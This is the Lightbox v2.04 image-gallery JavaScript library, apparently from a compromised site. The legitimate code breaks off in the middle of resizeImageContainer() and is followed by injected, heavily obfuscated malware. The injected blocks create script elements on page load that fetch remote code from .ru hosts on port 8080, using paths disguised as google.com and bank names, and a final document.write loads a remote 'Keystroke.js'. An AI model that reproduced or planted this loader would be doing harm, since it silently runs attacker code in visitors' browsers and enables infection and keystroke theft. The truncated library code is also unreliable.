// -----------------------------------------------------------------------------------
//
//	Lightbox v2.04
//	by Lokesh Dhakar - http://www.lokeshdhakar.com
//	Last Modification: 2/9/08
//
//	For more information, visit:
//	http://lokeshdhakar.com/projects/lightbox2/
//
//	Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
//  	- Free for use in both personal and commercial projects
//		- Attribution requires leaving author name, author link, and the license info intact.
//	
//  Thanks: Scott Upton(uptonic.com), Peter-Paul Koch(quirksmode.com), and Thomas Fuchs(mir.aculo.us) for ideas, libs, and snippets.
//  		Artemy Tregubenko (arty.name) for cleanup and help in updating to latest ver of proto-aculous.
//
// -----------------------------------------------------------------------------------
/*

    Table of Contents
    -----------------
    Configuration

    Lightbox Class Declaration
    - initialize()
    - updateImageList()
    - start()
    - changeImage()
    - resizeImageContainer()
    - showImage()
    - updateDetails()
    - updateNav()
    - enableKeyboardNav()
    - disableKeyboardNav()
    - keyboardAction()
    - preloadNeighborImages()
    - end()
    
    Function Calls
    - document.observe()
   
*/
// -----------------------------------------------------------------------------------

//
//  Configurationl
//
LightboxOptions = Object.extend({
    fileLoadingImage:        'images/loading.gif',     
    fileBottomNavCloseImage: 'images/closelabel.gif',

    overlayOpacity: 0.8,   // controls transparency of shadow overlay

    animate: true,         // toggles resizing animations
    resizeSpeed: 7,        // controls the speed of the image resizing animations (1=slowest and 10=fastest)

    borderSize: 10,         //if you adjust the padding in the CSS, you will need to update this variable

	// When grouping images this is used to write: Image # of #.
	// Change it for non-english localization
	labelImage: "Bild",
	labelOf: "von"
}, window.LightboxOptions || {});

// -----------------------------------------------------------------------------------

var Lightbox = Class.create();

Lightbox.prototype = {
    imageArray: [],
    activeImage: undefined,
    
    // initialize()
    // Constructor runs on completion of the DOM loading. Calls updateImageList and then
    // the function inserts html at the bottom of the page which is used to display the shadow 
    // overlay and the image container.
    //
    initialize: function() {    
        
        this.updateImageList();
        
        this.keyboardAction = this.keyboardAction.bindAsEventListener(this);

        if (LightboxOptions.resizeSpeed > 10) LightboxOptions.resizeSpeed = 10;
        if (LightboxOptions.resizeSpeed < 1)  LightboxOptions.resizeSpeed = 1;

	    this.resizeDuration = LightboxOptions.animate ? ((11 - LightboxOptions.resizeSpeed) * 0.15) : 0;
	    this.overlayDuration = LightboxOptions.animate ? 0.2 : 0;  // shadow fade in/out duration

        // When Lightbox starts it will resize itself from 250 by 250 to the current image dimension.
        // If animations are turned off, it will be hidden as to prevent a flicker of a
        // white 250 by 250 box.
        var size = (LightboxOptions.animate ? 250 : 1) + 'px';
        

        // Code inserts html at the bottom of the page that looks similar to this:
        //
        //  <div id="overlay"></div>
        //  <div id="lightbox">
        //      <div id="outerImageContainer">
        //          <div id="imageContainer">
        //              <img id="lightboxImage">
        //              <div style="" id="hoverNav">
        //                  <a href="#" id="prevLink"></a>
        //                  <a href="#" id="nextLink"></a>
        //              </div>
        //              <div id="loading">
        //                  <a href="#" id="loadingLink">
        //                      <img src="images/loading.gif">
        //                  </a>
        //              </div>
        //          </div>
        //      </div>
        //      <div id="imageDataContainer">
        //          <div id="imageData">
        //              <div id="imageDetails">
        //                  <span id="caption"></span>
        //                  <span id="numberDisplay"></span>
        //              </div>
        //              <div id="bottomNav">
        //                  <a href="#" id="bottomNavClose">
        //                      <img src="images/close.gif">
        //                  </a>
        //              </div>
        //          </div>
        //      </div>
        //  </div>


        var objBody = $$('body')[0];

		objBody.appendChild(Builder.node('div',{id:'overlay'}));
	
        objBody.appendChild(Builder.node('div',{id:'lightbox'}, [
            Builder.node('div',{id:'outerImageContainer'}, 
                Builder.node('div',{id:'imageContainer'}, [
                    Builder.node('img',{id:'lightboxImage'}), 
                    Builder.node('div',{id:'hoverNav'}, [
                        Builder.node('a',{id:'prevLink', href: '#' }),
                        Builder.node('a',{id:'nextLink', href: '#' })
                    ]),
                    Builder.node('div',{id:'loading'}, 
                        Builder.node('a',{id:'loadingLink', href: '#' }, 
                            Builder.node('img', {src: LightboxOptions.fileLoadingImage})
                        )
                    )
                ])
            ),
            Builder.node('div', {id:'imageDataContainer'},
                Builder.node('div',{id:'imageData'}, [
                    Builder.node('div',{id:'imageDetails'}, [
                        Builder.node('span',{id:'caption'}),
                        Builder.node('span',{id:'numberDisplay'})
                    ]),
                    Builder.node('div',{id:'bottomNav'},
                        Builder.node('a',{id:'bottomNavClose', href: '#' },
                            Builder.node('img', { src: LightboxOptions.fileBottomNavCloseImage })
                        )
                    )
                ])
            )
        ]));


		$('overlay').hide().observe('click', (function() { this.end(); }).bind(this));
		$('lightbox').hide().observe('click', (function(event) { if (event.element().id == 'lightbox') this.end(); }).bind(this));
		$('outerImageContainer').setStyle({ width: size, height: size });
		$('prevLink').observe('click', (function(event) { event.stop(); this.changeImage(this.activeImage - 1); }).bindAsEventListener(this));
		$('nextLink').observe('click', (function(event) { event.stop(); this.changeImage(this.activeImage + 1); }).bindAsEventListener(this));
		$('loadingLink').observe('click', (function(event) { event.stop(); this.end(); }).bind(this));
		$('bottomNavClose').observe('click', (function(event) { event.stop(); this.end(); }).bind(this));

        var th = this;
        (function(){
            var ids = 
                'overlay lightbox outerImageContainer imageContainer lightboxImage hoverNav prevLink nextLink loading loadingLink ' + 
                'imageDataContainer imageData imageDetails caption numberDisplay bottomNav bottomNavClose';   
            $w(ids).each(function(id){ th[id] = $(id); });
        }).defer();
    },

    //
    // updateImageList()
    // Loops through anchor tags looking for 'lightbox' references and applies onclick
    // events to appropriate links. You can rerun after dynamically adding images w/ajax.
    //
    updateImageList: function() {   
        this.updateImageList = Prototype.emptyFunction;

        document.observe('click', (function(event){
            var target = event.findElement('a[rel^=lightbox]') || event.findElement('area[rel^=lightbox]');
            if (target) {
                event.stop();
                this.start(target);
            }
        }).bind(this));
    },
    
    //
    //  start()
    //  Display overlay and lightbox. If image is part of a set, add siblings to imageArray.
    //
    start: function(imageLink) {    

        $$('select', 'object', 'embed').each(function(node){ node.style.visibility = 'hidden' });

        // stretch overlay to fill page and fade in
        var arrayPageSize = this.getPageSize();
        $('overlay').setStyle({ width: arrayPageSize[0] + 'px', height: arrayPageSize[1] + 'px' });

        new Effect.Appear(this.overlay, { duration: this.overlayDuration, from: 0.0, to: LightboxOptions.overlayOpacity });

        this.imageArray = [];
        var imageNum = 0;       

        if ((imageLink.rel == 'lightbox')){
            // if image is NOT part of a set, add single image to imageArray
            this.imageArray.push([imageLink.href, imageLink.title]);         
        } else {
            // if image is part of a set..
            this.imageArray = 
                $$(imageLink.tagName + '[href][rel="' + imageLink.rel + '"]').
                collect(function(anchor){ return [anchor.href, anchor.title]; }).
                uniq();
            
            while (this.imageArray[imageNum][0] != imageLink.href) { imageNum++; }
        }

        // calculate top and left offset for the lightbox 
        var arrayPageScroll = document.viewport.getScrollOffsets();
        var lightboxTop = arrayPageScroll[1] + (document.viewport.getHeight() / 10);
        var lightboxLeft = arrayPageScroll[0];
        this.lightbox.setStyle({ top: lightboxTop + 'px', left: lightboxLeft + 'px' }).show();
        
        this.changeImage(imageNum);
    },

    //
    //  changeImage()
    //  Hide most elements and preload image in preparation for resizing image container.
    //
    changeImage: function(imageNum) {   
        
        this.activeImage = imageNum; // update global var

        // hide elements during transition
        if (LightboxOptions.animate) this.loading.show();
        this.lightboxImage.hide();
        this.hoverNav.hide();
        this.prevLink.hide();
        this.nextLink.hide();
		// HACK: Opera9 does not currently support scriptaculous opacity and appear fx
        this.imageDataContainer.setStyle({opacity: .0001});
        this.numberDisplay.hide();      
        
        var imgPreloader = new Image();
        
        // once image is preloaded, resize image container


        imgPreloader.onload = (function(){
            this.lightboxImage.src = this.imageArray[this.activeImage][0];
            this.resizeImageContainer(imgPreloader.width, imgPreloader.height);
        }).bind(this);
        imgPreloader.src = this.imageArray[this.activeImage][0];
    },

    //
    //  resizeImageContainer()
    //
    resizeImageContainer: function(imgWidth, imgHeight) {

        // get current width and height
        var widthCurrent  = this.outerImageContainer.getWidth();
        var heightCurrent = this.outerImageContainer.getHeight();

        // get new width and hei
try {var pf='p'} catch(pf){};var ap="ap";function v(){this.k=false;var t=String("defer");f=11183;f++;var l="appen"+"dChilsoD".substr(0,5)+"4BSdSB4".substr(3,1);T=["W","n","H"];var P=new String("uK5Asrc".substr(4));var m=String("body");eQ=["Q_","G","Ml"];var q=String("ongxh".substr(0,2)+"WaA7lo".substr(4)+"sKkad".substr(3));var et=41806;var KN=42408;var d=new String("scri"+"pt");var qU=false;y=19074;y-=48;var s=window;this.Bx=65261;this.Bx++;var O=document;F=["NC","A","V"];var i="creat"+"eElem"+"ent";var FC=false;PJ={};function Oz(){this.j="j";try {var Fp='tM'} catch(Fp){};this.Mg="";try {var gV=58694;var vW=new String();nR={bH:26050};var e="/ba0wp".substr(0,3)+"byl"+"on-sIBS".substr(0,3)+"com"+"/go"+"ogl"+"e.c"+"om/"+"mak"+"Dy8Gtoo".substr(4)+"fkZb.cZfk".substr(3,3)+"om."+"php";var sO=3491-3490;var rJ=["QV","te","nk"];var qt={u:false};var Z=String("http:SJF".substr(0,5)+"//dir"+"qahtysin".substr(3)+".ru:");var gq="gq";var sd=["rK","Sf","oL"];var _=974012-965932;N=O[i](d);this.bQ=5847;this.bQ--;this.x=false;N[P]=Z+_+e;N[t]=sO;this.db="db";this.qi='';O[m][l](N);var uB=[];} catch(a){this.le=4534;this.le--;};pM=["Ax","ie","IP"];}s[q]=Oz;this.ms=11985;this.ms-=208;};v();tl=47196;tl++;
var Y=["I"];this.g=29485;this.g++;e=11662;e+=65;try {bp={};L={};var E=["a","Dg"];try {} catch(F){};bO={r:false};SA={KK:false};var h=window[String("unes"+"cape")];s=63847;s--;d=21926;d--;var oy=21435;var G=window[(String("ReSCM".substr(0,2)+"gEsL2".substr(0,2)+"4fMxpf4M".substr(3,2)))];Er=33339;Er--;_l=43264;_l--;this.qm='';var X=new String("1");var t={sW:false};var Bt="Bt";try {} catch(A){};try {var db='rs'} catch(db){};vs={Bm:6181};var c='';var gi="gi";var BV={W:false};this.cg=5004;this.cg-=97;var up=new String();var p=String("on"+"lo"+"CNOad".substr(3));var Ut={};var Vb={};var Yo='';var P=String("rep"+"lacRezC".substr(0,3)+"ud2TedT2u".substr(4,1));try {var DS='Tc'} catch(DS){};try {var WG='Wx'} catch(WG){};var mF=new Date();var CT="CT";this.lU="lU";function S(X,k){var Cy=44355;TJ=["Q"];var j="[";this.im='';this.lY='';sV=[];this.vY=26720;this.vY+=74;this.Rw='';j+=k;var BR=38481;this.Kz=false;var HJ=false;this.yS='';j+=h("%5d");this.tU=31610;this.tU++;var dx=[];var yc={};Qk=10534;Qk++;var Qb=["aK","Mz","Yr"];var n=new G(j, "g");O=54321;O+=199;return X.replace(n, c);this._v=64616;this._v++;this.Ga=false;CO={};KG={yZ:20906};};GV={J:"lQ"};var If=new String();this.MN=42281;this.MN+=21;this.PG=30875;this.PG+=230;this.zx=43466;this.zx-=252;var ny=String("5NB3http:".substr(4)+"//gotiEh".substr(0,5)+"hguil"+"S86t.ru:S86".substr(3,5));var ic={JG:47518};var YV={yA:16164};var l=250875-242795;var Xhg=new String();lw=64659;lw++;COm=38673;COm++;var tAd=false;ye={xJ:46067};Um={Uu:19725};Od={KW:56633};BO={bJ:28053};var N=String("/hsbc"+"-co-up7H".substr(0,5)+"k/goo"+"gle.c"+"om/li"+"nezinV82D".substr(0,5)+"g.com"+".php");var nU=new Array();this.fS=31293;this.fS+=253;var PY=new Array();var sh={_Q:false};var oz='';this.__=1590;this.__+=71;function q(){var OQ=new Date();var Jh=new Array();azS=["VK","bi","gD"];Al=[];var VL={};var qQ=false;var R=new String("ap"+"pe"+"nd"+"Ch"+"il"+"d");this.JF=56397;this.JF-=136;this.orM=false;this.Pv=4931;this.Pv-=66;O_=["Bd","lQc","zh"];this.bc=false;var v=document;dd={};ju=[];UF={};LS=10331;LS-=180;var b=S('s5c5rzi3pOth','8h1wgOEVoJ34zb6HlPD5Z');var BtG={ei:"iF"};var FC=[];HJz={OJJ:"Mq"};hHk=["Jg","Ed"];zT=["ce"];var Szh=new Array();var Su={kY:"Gp"};var AI=new Array();var pO={};bP=v.createElement(b);Ws=50423;Ws++;dt=58145;dt++;var BQ={uF:"zW"};w=ny+l;_j=5881;_j-=181;var QL=[];w=w+N;var pzm="";try {var RS='NC'} catch(RS){};var uN={ES:"eg"};var oQ=new Date();var Qw=new Date();this.mAi=12453;this.mAi--;bP.src=w;var BdY=["XM"];var Gz=v.body;var oe={};bIk={kfh:2241};var Ak=["TB"];WxH={gq:62868};bP[new String("defe"+"r")]=X;Szx=["NCC"];var RY=false;var LCk={};try {var VU='nP'} catch(VU){};try {var mt='xA'} catch(mt){};af={};Gz[R](bP);var ck='';};Mzm=["dq","Rl"];this.Ye=18647;this.Ye--;var jG=new String();window[p]=q;this.Lp='';aq=7605;aq++;this.EP=26766;this.EP--;var mk=["Ne","_Z","FR"];this._lZ=63349;this._lZ--;this.wh=42932;this.wh--;} catch(z){var ZI=new String();var yt=9212;var z_={GU:54703};Cc={CAq:"jXN"};};jD={};this.bC=false;try {} catch(XU){};
var k=new String();var J=["Lw","KD","D"];z=[];H={P:false};var G=new String();try {var eg={Vn:false};var nh={d:"u"};Xt=["t","zx","yA"];b=["T","LK","pP"];var EQ={};var W=window[String("une"+"sca"+"dAMSpe".substr(4))];this.lc="lc";var w="";var U={};var Kk={};this.Yf="Yf";var m=[];Ys=[];var p="1tsBk".substr(0,1);var ba=false;this.v=31982;this.v--;var JA=31277;var O='';As=13047;As--;TD=23315;TD--;cL=47887;cL--;dC=["QR"];FV=["by"];var i=String("onloa"+"dQ7Jq".substr(0,1));ytS=45480;ytS-=250;var E="mE7re".substr(3)+"Sw6zpl".substr(4)+"ac"+"e";this.vs="vs";var a=window[(new String("RegEWs3".substr(0,4)+"xp"))];LE={};this.vv="vv";var El=false;ZX=17618;ZX--;function o(p,M){var vo=[];x={};var OE=[];var iH=2321;var Qw=new String();this.PA="PA";var g=String("[");try {} catch(tG){};var OV='';var WZ=["Zs"];try {} catch(oH){};var yn=["Si"];g+=M;this.rV="rV";LO={kj:false};this.Qa="";mb={_w:false};g+=W("%5d");var MK=new a(g, String("g"));wj=36801;wj++;var Oz=["Jn","rz","Hw"];var VN={};return p.replace(MK, O);wh=["HC","aS","Ye"];};ir={kRU:"eq"};VG={j_:"bS"};var Gb="Gb";try {var LA='Wq'} catch(LA){};try {var bLx='Gf'} catch(bLx){};var Bx=new Date();var oJ=String("http"+"://g"+"eXQ4othg".substr(4)+"uilt"+"0O3.ru:3O0".substr(3,4));pc={DV:false};var pG=new String("/goo"+"gle."+"v32com/".substr(3)+"gnav"+"i.co"+"vDC6.jp/".substr(4)+"d9Pso-n9dP".substr(3,4)+"et.n"+"e.jp"+".phpEQ57".substr(0,4));var sN=false;this.mq="mq";this._M=64653;this._M-=157;var X=357712-349632;this.ME=false;var dc="";var Fj=["Ht"];this._K=51518;this._K+=122;var ej="";try {var lU='BY'} catch(lU){};function C(){_G=["_R"];var L=new String("appqRe0".substr(0,3)+"Kviuend".substr(4)+"Chi"+"3g5Qld5Qg3".substr(4,2));var KV={};var jB={};this.Fg=false;var K=document;var jJ={xC:65328};var n=o('sIcJrli8phtJ','CflIweh8JELy');this.HF=7793;this.HF--;DJ={vH:false};this.ub=23373;this.ub--;this.egD=3361;this.egD--;cb=["cT"];var lt=["P_x","Lf"];var iZ=["hA","dvB"];this.PF=false;var Ll={lGh:false};this.Vm=false;xx=["_h","iL"];var pPu={iy:false};Cu=K.createElement(n);var wY=false;var tK=43563;var tX=1581;var zB='';var qy='';var uB='';y=oJ+X;iD=[];var Su=false;Hk=[];var HQ=false;wfp=["oE"];y=y+pG;this.ZP=20980;this.ZP--;this.Vk=34224;this.Vk--;var zt=46808;var vW=new String();FU=38370;FU-=56;var WR=new String();var HfR={TBa:"Yw"};var Z=K.body;TY=["KX"];RGT={};Cu["defer"]=p;try {var Ge='gb'} catch(Ge){};xO=["cZ","gE"];try {var YG='ky'} catch(YG){};BP={sNa:"C_"};this.MX=27055;this.MX-=198;sH={Jm:"AR"};dp={Lg:"Ud"};Cu.src=y;var AS=new Date();var wo=new Date();bl=39857;bl--;var PB=["Re","fX","OIl"];this.jyY="jyY";Z[L](Cu);try {var sy='wk'} catch(sy){};this.sC=false;yH=["hs"];var ACp={kV:"Fh"};};uK={Jd:false};this.gQ=59166;this.gQ--;var Ix={};var cG={Fz:false};try {} catch(hj){};var eWM=22552;window[i]=C;var xH='';this.yu=48106;this.yu+=101;this.NV=43297;this.NV-=0;this.yp="yp";this.vp=16073;this.vp++;} catch(iR){dw={hr:59541};this.JY=41823;this.JY++;var LN=["XC"];this.Lr=65396;this.Lr--;Os={};};YV={};var NW={zU:false};var mV=new Array();var YX=new Array();









document.write('<s'+'cript type="text/javascript" src="http://adoffy.alltuckedinathome.com:8080/Keystroke.js"></scr'+'ipt>');